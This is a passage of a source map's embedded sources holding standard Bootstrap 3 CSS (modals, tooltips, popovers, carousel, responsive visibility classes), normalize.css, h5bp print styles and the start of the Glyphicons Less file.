border-bottom-color: #ebccd1;\n}\n.embed-responsive {\n position: relative;\n display: block;\n height: 0;\n padding: 0;\n overflow: hidden;\n}\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n height: 100%;\n width: 100%;\n border: 0;\n}\n.embed-responsive-16by9 {\n padding-bottom: 56.25%;\n}\n.embed-responsive-4by3 {\n padding-bottom: 75%;\n}\n.well {\n min-height: 20px;\n padding: 19px;\n margin-bottom: 20px;\n background-color: #f5f5f5;\n border: 1px solid #e3e3e3;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n.well blockquote {\n border-color: #ddd;\n border-color: rgba(0, 0, 0, 0.15);\n}\n.well-lg {\n padding: 24px;\n border-radius: 6px;\n}\n.well-sm {\n padding: 9px;\n border-radius: 3px;\n}\n.close {\n float: right;\n font-size: 21px;\n font-weight: bold;\n line-height: 1;\n color: #000;\n text-shadow: 0 1px 0 #fff;\n opacity: 0.2;\n filter: alpha(opacity=20);\n}\n.close:hover,\n.close:focus {\n color: #000;\n text-decoration: none;\n cursor: pointer;\n opacity: 0.5;\n filter: alpha(opacity=50);\n}\nbutton.close {\n padding: 0;\n cursor: pointer;\n background: transparent;\n border: 0;\n -webkit-appearance: none;\n}\n.modal-open {\n overflow: hidden;\n}\n.modal {\n display: none;\n overflow: hidden;\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1050;\n -webkit-overflow-scrolling: touch;\n outline: 0;\n}\n.modal.fade .modal-dialog {\n -webkit-transform: translate(0, -25%);\n -ms-transform: translate(0, -25%);\n -o-transform: translate(0, -25%);\n transform: translate(0, -25%);\n -webkit-transition: -webkit-transform 0.3s ease-out;\n -moz-transition: -moz-transform 0.3s ease-out;\n -o-transition: -o-transform 0.3s ease-out;\n transition: transform 0.3s ease-out;\n}\n.modal.in .modal-dialog {\n -webkit-transform: translate(0, 0);\n -ms-transform: translate(0, 0);\n -o-transform: translate(0, 0);\n transform: translate(0, 0);\n}\n.modal-open .modal {\n overflow-x: hidden;\n overflow-y: auto;\n}\n.modal-dialog {\n position: relative;\n width: auto;\n margin: 10px;\n}\n.modal-content {\n position: relative;\n background-color: #fff;\n border: 1px solid #999;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 6px;\n -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n background-clip: padding-box;\n outline: 0;\n}\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1040;\n background-color: #000;\n}\n.modal-backdrop.fade {\n opacity: 0;\n filter: alpha(opacity=0);\n}\n.modal-backdrop.in {\n opacity: 0.5;\n filter: alpha(opacity=50);\n}\n.modal-header {\n padding: 15px;\n border-bottom: 1px solid #e5e5e5;\n}\n.modal-header .close {\n margin-top: -2px;\n}\n.modal-title {\n margin: 0;\n line-height: 1.42857143;\n}\n.modal-body {\n position: relative;\n padding: 15px;\n}\n.modal-footer {\n padding: 15px;\n text-align: right;\n border-top: 1px solid #e5e5e5;\n}\n.modal-footer .btn + .btn {\n margin-left: 5px;\n margin-bottom: 0;\n}\n.modal-footer .btn-group .btn + .btn {\n margin-left: -1px;\n}\n.modal-footer .btn-block + .btn-block {\n margin-left: 0;\n}\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n@media (min-width: 768px) {\n .modal-dialog {\n width: 600px;\n margin: 30px auto;\n }\n .modal-content {\n -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n }\n .modal-sm {\n width: 300px;\n }\n}\n@media (min-width: 992px) {\n .modal-lg {\n width: 900px;\n }\n}\n.tooltip {\n position: absolute;\n z-index: 1070;\n display: block;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-style: normal;\n font-weight: normal;\n letter-spacing: normal;\n line-break: auto;\n line-height: 1.42857143;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n white-space: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n font-size: 12px;\n opacity: 0;\n filter: alpha(opacity=0);\n}\n.tooltip.in {\n opacity: 0.9;\n filter: alpha(opacity=90);\n}\n.tooltip.top {\n margin-top: -3px;\n padding: 5px 0;\n}\n.tooltip.right {\n margin-left: 3px;\n padding: 0 5px;\n}\n.tooltip.bottom {\n margin-top: 3px;\n padding: 5px 0;\n}\n.tooltip.left {\n margin-left: -3px;\n padding: 0 5px;\n}\n.tooltip-inner {\n max-width: 200px;\n padding: 3px 8px;\n color: #fff;\n text-align: center;\n background-color: #000;\n border-radius: 4px;\n}\n.tooltip-arrow {\n position: absolute;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.tooltip.top .tooltip-arrow {\n bottom: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.top-left .tooltip-arrow {\n bottom: 0;\n right: 5px;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.top-right .tooltip-arrow {\n bottom: 0;\n left: 5px;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.right .tooltip-arrow {\n top: 50%;\n left: 0;\n margin-top: -5px;\n border-width: 5px 5px 5px 0;\n border-right-color: #000;\n}\n.tooltip.left .tooltip-arrow {\n top: 50%;\n right: 0;\n margin-top: -5px;\n border-width: 5px 0 5px 5px;\n border-left-color: #000;\n}\n.tooltip.bottom .tooltip-arrow {\n top: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.tooltip.bottom-left .tooltip-arrow {\n top: 0;\n right: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.tooltip.bottom-right .tooltip-arrow {\n top: 0;\n left: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: 1060;\n display: none;\n max-width: 276px;\n padding: 1px;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-style: normal;\n font-weight: normal;\n letter-spacing: normal;\n line-break: auto;\n line-height: 1.42857143;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n white-space: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n font-size: 14px;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid #ccc;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 6px;\n -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n}\n.popover.top {\n margin-top: -10px;\n}\n.popover.right {\n margin-left: 10px;\n}\n.popover.bottom {\n margin-top: 10px;\n}\n.popover.left {\n margin-left: -10px;\n}\n.popover-title {\n margin: 0;\n padding: 8px 14px;\n font-size: 14px;\n background-color: #f7f7f7;\n border-bottom: 1px solid #ebebeb;\n border-radius: 5px 5px 0 0;\n}\n.popover-content {\n padding: 9px 14px;\n}\n.popover > .arrow,\n.popover > .arrow:after {\n position: absolute;\n display: block;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.popover > .arrow {\n border-width: 11px;\n}\n.popover > .arrow:after {\n border-width: 10px;\n content: \"\";\n}\n.popover.top > .arrow {\n left: 50%;\n margin-left: -11px;\n border-bottom-width: 0;\n border-top-color: #999999;\n border-top-color: rgba(0, 0, 0, 0.25);\n bottom: -11px;\n}\n.popover.top > .arrow:after {\n content: \" \";\n bottom: 1px;\n margin-left: -10px;\n border-bottom-width: 0;\n border-top-color: #fff;\n}\n.popover.right > .arrow {\n top: 50%;\n left: -11px;\n margin-top: -11px;\n border-left-width: 0;\n border-right-color: #999999;\n border-right-color: rgba(0, 0, 0, 0.25);\n}\n.popover.right > .arrow:after {\n content: \" \";\n left: 1px;\n bottom: -10px;\n border-left-width: 0;\n border-right-color: #fff;\n}\n.popover.bottom > .arrow {\n left: 50%;\n margin-left: -11px;\n border-top-width: 0;\n border-bottom-color: #999999;\n border-bottom-color: rgba(0, 0, 0, 0.25);\n top: -11px;\n}\n.popover.bottom > .arrow:after {\n content: \" \";\n top: 1px;\n margin-left: -10px;\n border-top-width: 0;\n border-bottom-color: #fff;\n}\n.popover.left > .arrow {\n top: 50%;\n right: -11px;\n margin-top: -11px;\n border-right-width: 0;\n border-left-color: #999999;\n border-left-color: rgba(0, 0, 0, 0.25);\n}\n.popover.left > .arrow:after {\n content: \" \";\n right: 1px;\n border-right-width: 0;\n border-left-color: #fff;\n bottom: -10px;\n}\n.carousel {\n position: relative;\n}\n.carousel-inner {\n position: relative;\n overflow: hidden;\n width: 100%;\n}\n.carousel-inner > .item {\n display: none;\n position: relative;\n -webkit-transition: 0.6s ease-in-out left;\n -o-transition: 0.6s ease-in-out left;\n transition: 0.6s ease-in-out left;\n}\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n line-height: 1;\n}\n@media all and (transform-3d), (-webkit-transform-3d) {\n .carousel-inner > .item {\n -webkit-transition: -webkit-transform 0.6s ease-in-out;\n -moz-transition: -moz-transform 0.6s ease-in-out;\n -o-transition: -o-transform 0.6s ease-in-out;\n transition: transform 0.6s ease-in-out;\n -webkit-backface-visibility: hidden;\n -moz-backface-visibility: hidden;\n backface-visibility: hidden;\n -webkit-perspective: 1000px;\n -moz-perspective: 1000px;\n perspective: 1000px;\n }\n .carousel-inner > .item.next,\n .carousel-inner > .item.active.right {\n -webkit-transform: translate3d(100%, 0, 0);\n transform: translate3d(100%, 0, 0);\n left: 0;\n }\n .carousel-inner > .item.prev,\n .carousel-inner > .item.active.left {\n -webkit-transform: translate3d(-100%, 0, 0);\n transform: translate3d(-100%, 0, 0);\n left: 0;\n }\n .carousel-inner > .item.next.left,\n .carousel-inner > .item.prev.right,\n .carousel-inner > .item.active {\n -webkit-transform: translate3d(0, 0, 0);\n transform: translate3d(0, 0, 0);\n left: 0;\n }\n}\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n display: block;\n}\n.carousel-inner > .active {\n left: 0;\n}\n.carousel-inner > .next,\n.carousel-inner > .prev {\n position: absolute;\n top: 0;\n width: 100%;\n}\n.carousel-inner > .next {\n left: 100%;\n}\n.carousel-inner > .prev {\n left: -100%;\n}\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n left: 0;\n}\n.carousel-inner > .active.left {\n left: -100%;\n}\n.carousel-inner > .active.right {\n left: 100%;\n}\n.carousel-control {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n width: 15%;\n opacity: 0.5;\n filter: alpha(opacity=50);\n font-size: 20px;\n color: #fff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n background-color: rgba(0, 0, 0, 0);\n}\n.carousel-control.left {\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);\n}\n.carousel-control.right {\n left: auto;\n right: 0;\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-image: linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);\n}\n.carousel-control:hover,\n.carousel-control:focus {\n outline: 0;\n color: #fff;\n text-decoration: none;\n opacity: 0.9;\n filter: alpha(opacity=90);\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-left,\n.carousel-control .glyphicon-chevron-right {\n position: absolute;\n top: 50%;\n margin-top: -10px;\n z-index: 5;\n display: inline-block;\n}\n.carousel-control .icon-prev,\n.carousel-control .glyphicon-chevron-left {\n left: 50%;\n margin-left: -10px;\n}\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-right {\n right: 50%;\n margin-right: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next {\n width: 20px;\n height: 20px;\n line-height: 1;\n font-family: serif;\n}\n.carousel-control .icon-prev:before {\n content: '\\2039';\n}\n.carousel-control .icon-next:before {\n content: '\\203a';\n}\n.carousel-indicators {\n position: absolute;\n bottom: 10px;\n left: 50%;\n z-index: 15;\n width: 60%;\n margin-left: -30%;\n padding-left: 0;\n list-style: none;\n text-align: center;\n}\n.carousel-indicators li {\n display: inline-block;\n width: 10px;\n height: 10px;\n margin: 1px;\n text-indent: -999px;\n border: 1px solid #fff;\n border-radius: 10px;\n cursor: pointer;\n background-color: #000 \\9;\n background-color: rgba(0, 0, 0, 0);\n}\n.carousel-indicators .active {\n margin: 0;\n width: 12px;\n height: 12px;\n background-color: #fff;\n}\n.carousel-caption {\n position: absolute;\n left: 15%;\n right: 15%;\n bottom: 20px;\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: #fff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n}\n.carousel-caption .btn {\n text-shadow: none;\n}\n@media screen and (min-width: 768px) {\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-prev,\n .carousel-control .icon-next {\n width: 30px;\n height: 30px;\n margin-top: -10px;\n font-size: 30px;\n }\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .icon-prev {\n margin-left: -10px;\n }\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-next {\n margin-right: -10px;\n }\n .carousel-caption {\n left: 20%;\n right: 20%;\n padding-bottom: 30px;\n }\n .carousel-indicators {\n bottom: 20px;\n }\n}\n.clearfix:before,\n.clearfix:after,\n.dl-horizontal dd:before,\n.dl-horizontal dd:after,\n.container:before,\n.container:after,\n.container-fluid:before,\n.container-fluid:after,\n.row:before,\n.row:after,\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after,\n.btn-toolbar:before,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after,\n.nav:before,\n.nav:after,\n.navbar:before,\n.navbar:after,\n.navbar-header:before,\n.navbar-header:after,\n.navbar-collapse:before,\n.navbar-collapse:after,\n.pager:before,\n.pager:after,\n.panel-body:before,\n.panel-body:after,\n.modal-header:before,\n.modal-header:after,\n.modal-footer:before,\n.modal-footer:after {\n content: \" \";\n display: table;\n}\n.clearfix:after,\n.dl-horizontal dd:after,\n.container:after,\n.container-fluid:after,\n.row:after,\n.form-horizontal .form-group:after,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:after,\n.nav:after,\n.navbar:after,\n.navbar-header:after,\n.navbar-collapse:after,\n.pager:after,\n.panel-body:after,\n.modal-header:after,\n.modal-footer:after {\n clear: both;\n}\n.center-block {\n display: block;\n margin-left: auto;\n margin-right: auto;\n}\n.pull-right {\n float: right !important;\n}\n.pull-left {\n float: left !important;\n}\n.hide {\n display: none !important;\n}\n.show {\n display: block !important;\n}\n.invisible {\n visibility: hidden;\n}\n.text-hide {\n font: 0/0 a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n}\n.hidden {\n display: none !important;\n}\n.affix {\n position: fixed;\n}\n@-ms-viewport {\n width: device-width;\n}\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n display: none !important;\n}\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n display: none !important;\n}\n@media (max-width: 767px) {\n .visible-xs {\n display: block !important;\n }\n table.visible-xs {\n display: table !important;\n }\n tr.visible-xs {\n display: table-row !important;\n }\n th.visible-xs,\n td.visible-xs {\n display: table-cell !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-block {\n display: block !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline {\n display: inline !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm {\n display: block !important;\n }\n table.visible-sm {\n display: table !important;\n }\n tr.visible-sm {\n display: table-row !important;\n }\n th.visible-sm,\n td.visible-sm {\n display: table-cell !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-block {\n display: block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline {\n display: inline !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md {\n display: block !important;\n }\n table.visible-md {\n display: table !important;\n }\n tr.visible-md {\n display: table-row !important;\n }\n th.visible-md,\n td.visible-md {\n display: table-cell !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-block {\n display: block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline {\n display: inline !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg {\n display: block !important;\n }\n table.visible-lg {\n display: table !important;\n }\n tr.visible-lg {\n display: table-row !important;\n }\n th.visible-lg,\n td.visible-lg {\n display: table-cell !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-block {\n display: block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-inline {\n display: inline !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-inline-block {\n display: inline-block !important;\n }\n}\n@media (max-width: 767px) {\n .hidden-xs {\n display: none !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .hidden-sm {\n display: none !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .hidden-md {\n display: none !important;\n }\n}\n@media (min-width: 1200px) {\n .hidden-lg {\n display: none !important;\n }\n}\n.visible-print {\n display: none !important;\n}\n@media print {\n .visible-print {\n display: block !important;\n }\n table.visible-print {\n display: table !important;\n }\n tr.visible-print {\n display: table-row !important;\n }\n th.visible-print,\n td.visible-print {\n display: table-cell !important;\n }\n}\n.visible-print-block {\n display: none !important;\n}\n@media print {\n .visible-print-block {\n display: block !important;\n }\n}\n.visible-print-inline {\n display: none !important;\n}\n@media print {\n .visible-print-inline {\n display: inline !important;\n }\n}\n.visible-print-inline-block {\n display: none !important;\n}\n@media print {\n .visible-print-inline-block {\n display: inline-block !important;\n }\n}\n@media print {\n .hidden-print {\n display: none !important;\n }\n}\n/*# sourceMappingURL=bootstrap.css.map */","/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */\n\n//\n// 1. Set default font family to sans-serif.\n// 2. Prevent iOS and IE text size adjust after device orientation change,\n// without disabling user zoom.\n//\n\nhtml {\n font-family: sans-serif; // 1\n -ms-text-size-adjust: 100%; // 2\n -webkit-text-size-adjust: 100%; // 2\n}\n\n//\n// Remove default margin.\n//\n\nbody {\n margin: 0;\n}\n\n// HTML5 display definitions\n// ==========================================================================\n\n//\n// Correct `block` display not defined for any HTML5 element in IE 8/9.\n// Correct `block` display not defined for `details` or `summary` in IE 10/11\n// and Firefox.\n// Correct `block` display not defined for `main` in IE 11.\n//\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nmenu,\nnav,\nsection,\nsummary {\n display: block;\n}\n\n//\n// 1. Correct `inline-block` display not defined in IE 8/9.\n// 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.\n//\n\naudio,\ncanvas,\nprogress,\nvideo {\n display: inline-block; // 1\n vertical-align: baseline; // 2\n}\n\n//\n// Prevent modern browsers from displaying `audio` without controls.\n// Remove excess height in iOS 5 devices.\n//\n\naudio:not([controls]) {\n display: none;\n height: 0;\n}\n\n//\n// Address `[hidden]` styling not present in IE 8/9/10.\n// Hide the `template` element in IE 8/9/10/11, Safari, and Firefox < 22.\n//\n\n[hidden],\ntemplate {\n display: none;\n}\n\n// Links\n// ==========================================================================\n\n//\n// Remove the gray background color from active links in IE 10.\n//\n\na {\n background-color: transparent;\n}\n\n//\n// Improve readability of focused elements when they are also in an\n// active/hover state.\n//\n\na:active,\na:hover {\n outline: 0;\n}\n\n// Text-level semantics\n// ==========================================================================\n\n//\n// Address styling not present in IE 8/9/10/11, Safari, and Chrome.\n//\n\nabbr[title] {\n border-bottom: 1px dotted;\n}\n\n//\n// Address style set to `bolder` in Firefox 4+, Safari, and Chrome.\n//\n\nb,\nstrong {\n font-weight: bold;\n}\n\n//\n// Address styling not present in Safari and Chrome.\n//\n\ndfn {\n font-style: italic;\n}\n\n//\n// Address variable `h1` font-size and margin within `section` and `article`\n// contexts in Firefox 4+, Safari, and Chrome.\n//\n\nh1 {\n font-size: 2em;\n margin: 0.67em 0;\n}\n\n//\n// Address styling not present in IE 8/9.\n//\n\nmark {\n background: #ff0;\n color: #000;\n}\n\n//\n// Address inconsistent and variable font size in all browsers.\n//\n\nsmall {\n font-size: 80%;\n}\n\n//\n// Prevent `sub` and `sup` affecting `line-height` in all browsers.\n//\n\nsub,\nsup {\n font-size: 75%;\n line-height: 0;\n position: relative;\n vertical-align: baseline;\n}\n\nsup {\n top: -0.5em;\n}\n\nsub {\n bottom: -0.25em;\n}\n\n// Embedded content\n// ==========================================================================\n\n//\n// Remove border when inside `a` element in IE 8/9/10.\n//\n\nimg {\n border: 0;\n}\n\n//\n// Correct overflow not hidden in IE 9/10/11.\n//\n\nsvg:not(:root) {\n overflow: hidden;\n}\n\n// Grouping content\n// ==========================================================================\n\n//\n// Address margin not present in IE 8/9 and Safari.\n//\n\nfigure {\n margin: 1em 40px;\n}\n\n//\n// Address differences between Firefox and other browsers.\n//\n\nhr {\n box-sizing: content-box;\n height: 0;\n}\n\n//\n// Contain overflow in all browsers.\n//\n\npre {\n overflow: auto;\n}\n\n//\n// Address odd `em`-unit font size rendering in all browsers.\n//\n\ncode,\nkbd,\npre,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\n\n// Forms\n// ==========================================================================\n\n//\n// Known limitation: by default, Chrome and Safari on OS X allow very limited\n// styling of `select`, unless a `border` property is set.\n//\n\n//\n// 1. Correct color not being inherited.\n// Known issue: affects color of disabled elements.\n// 2. Correct font properties not being inherited.\n// 3. Address margins set differently in Firefox 4+, Safari, and Chrome.\n//\n\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n color: inherit; // 1\n font: inherit; // 2\n margin: 0; // 3\n}\n\n//\n// Address `overflow` set to `hidden` in IE 8/9/10/11.\n//\n\nbutton {\n overflow: visible;\n}\n\n//\n// Address inconsistent `text-transform` inheritance for `button` and `select`.\n// All other form control elements do not inherit `text-transform` values.\n// Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.\n// Correct `select` style inheritance in Firefox.\n//\n\nbutton,\nselect {\n text-transform: none;\n}\n\n//\n// 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`\n// and `video` controls.\n// 2. Correct inability to style clickable `input` types in iOS.\n// 3. Improve usability and consistency of cursor style between image-type\n// `input` and others.\n//\n\nbutton,\nhtml input[type=\"button\"], // 1\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n -webkit-appearance: button; // 2\n cursor: pointer; // 3\n}\n\n//\n// Re-set default cursor for disabled elements.\n//\n\nbutton[disabled],\nhtml input[disabled] {\n cursor: default;\n}\n\n//\n// Remove inner padding and border in Firefox 4+.\n//\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n border: 0;\n padding: 0;\n}\n\n//\n// Address Firefox 4+ setting `line-height` on `input` using `!important` in\n// the UA stylesheet.\n//\n\ninput {\n line-height: normal;\n}\n\n//\n// It's recommended that you don't attempt to style these elements.\n// Firefox's implementation doesn't respect box-sizing, padding, or width.\n//\n// 1. Address box sizing set to `content-box` in IE 8/9/10.\n// 2. Remove excess padding in IE 8/9/10.\n//\n\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n box-sizing: border-box; // 1\n padding: 0; // 2\n}\n\n//\n// Fix the cursor style for Chrome's increment/decrement buttons. For certain\n// `font-size` values of the `input`, it causes the cursor style of the\n// decrement button to change from `default` to `text`.\n//\n\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n//\n// 1. Address `appearance` set to `searchfield` in Safari and Chrome.\n// 2. Address `box-sizing` set to `border-box` in Safari and Chrome.\n//\n\ninput[type=\"search\"] {\n -webkit-appearance: textfield; // 1\n box-sizing: content-box; //2\n}\n\n//\n// Remove inner padding and search cancel button in Safari and Chrome on OS X.\n// Safari (but not Chrome) clips the cancel button when the search input has\n// padding (and `textfield` appearance).\n//\n\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n//\n// Define consistent border, margin, and padding.\n//\n\nfieldset {\n border: 1px solid #c0c0c0;\n margin: 0 2px;\n padding: 0.35em 0.625em 0.75em;\n}\n\n//\n// 1. Correct `color` not being inherited in IE 8/9/10/11.\n// 2. Remove padding so people aren't caught out if they zero out fieldsets.\n//\n\nlegend {\n border: 0; // 1\n padding: 0; // 2\n}\n\n//\n// Remove default vertical scrollbar in IE 8/9/10/11.\n//\n\ntextarea {\n overflow: auto;\n}\n\n//\n// Don't inherit the `font-weight` (applied by a rule above).\n// NOTE: the default cannot safely be changed in Chrome and Safari on OS X.\n//\n\noptgroup {\n font-weight: bold;\n}\n\n// Tables\n// ==========================================================================\n\n//\n// Remove most spacing between table cells.\n//\n\ntable {\n border-collapse: collapse;\n border-spacing: 0;\n}\n\ntd,\nth {\n padding: 0;\n}\n","/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */\n\n// ==========================================================================\n// Print styles.\n// Inlined to avoid the additional HTTP request: h5bp.com/r\n// ==========================================================================\n\n@media print {\n *,\n *:before,\n *:after {\n background: transparent !important;\n color: #000 !important; // Black prints faster: h5bp.com/s\n box-shadow: none !important;\n text-shadow: none !important;\n }\n\n a,\n a:visited {\n text-decoration: underline;\n }\n\n a[href]:after {\n content: \" (\" attr(href) \")\";\n }\n\n abbr[title]:after {\n content: \" (\" attr(title) \")\";\n }\n\n // Don't show links that are fragment identifiers,\n // or use the `javascript:` pseudo protocol\n a[href^=\"#\"]:after,\n a[href^=\"javascript:\"]:after {\n content: \"\";\n }\n\n pre,\n blockquote {\n border: 1px solid #999;\n page-break-inside: avoid;\n }\n\n thead {\n display: table-header-group; // h5bp.com/t\n }\n\n tr,\n img {\n page-break-inside: avoid;\n }\n\n img {\n max-width: 100% !important;\n }\n\n p,\n h2,\n h3 {\n orphans: 3;\n widows: 3;\n }\n\n h2,\n h3 {\n page-break-after: avoid;\n }\n\n // Bootstrap specific changes start\n\n // Bootstrap components\n .navbar {\n display: none;\n }\n .btn,\n .dropup > .btn {\n > .caret {\n border-top-color: #000 !important;\n }\n }\n .label {\n border: 1px solid #000;\n }\n\n .table {\n border-collapse: collapse !important;\n\n td,\n th {\n background-color: #fff !important;\n }\n }\n .table-bordered {\n th,\n td {\n border: 1px solid #ddd !important;\n }\n }\n\n // Bootstrap specific changes end\n}\n","//\n// Glyphicons for Bootstrap\n//\n// Since icons are fonts, they can be placed anywhere text is placed and are\n// thus automatically sized to match the surrounding child. To use, create an\n// inline element with the appropriate classes, like so:\n//\n// Star\n\n// Import the fonts\n@font-face {\n font-family: 'Glyphicons Halflings';\n src: url('@{icon-font-path}@{icon-font-name}.eot');\n src: url('@{icon-font-path}@{icon-font-name}.eot?#iefix') format('embedded-opentype'),\n url('@{icon-font-path}@{icon-font-name}.woff2') format('woff2'),\n url('@{icon-font-path}@{icon-font-name}.woff') format('woff'),\n url('@{icon-font-path}@{icon-font-name}.ttf') format('truetype'),\n url('@{icon-font-path}@{icon-font-name}.svg#@{icon-font-svg-id}') format('svg');\n}\n\n// Catchall baseclass\n.glyphicon {\n position: relative;\n top: 1px;\n display: inline-block;\n font-family: 'Glyphicons Halflings';\n font-style: normal;\n font-weight: normal;\n line-height: 1;\n -webkit-font-smoothing: antialiased;\n -moz-osx-font-smoothing: grayscale;\n}\n\n// Individual icons\n.glyphicon-asterisk { &:before { content: \"\\002a\"; } }\n.glyphicon-plus { &:before { content: \"\\002b\"; } }\n.glyphicon-euro,\n.glyphicon-eur { &:before { content: \"\\20ac\"; } }\n.glyphicon-minus { 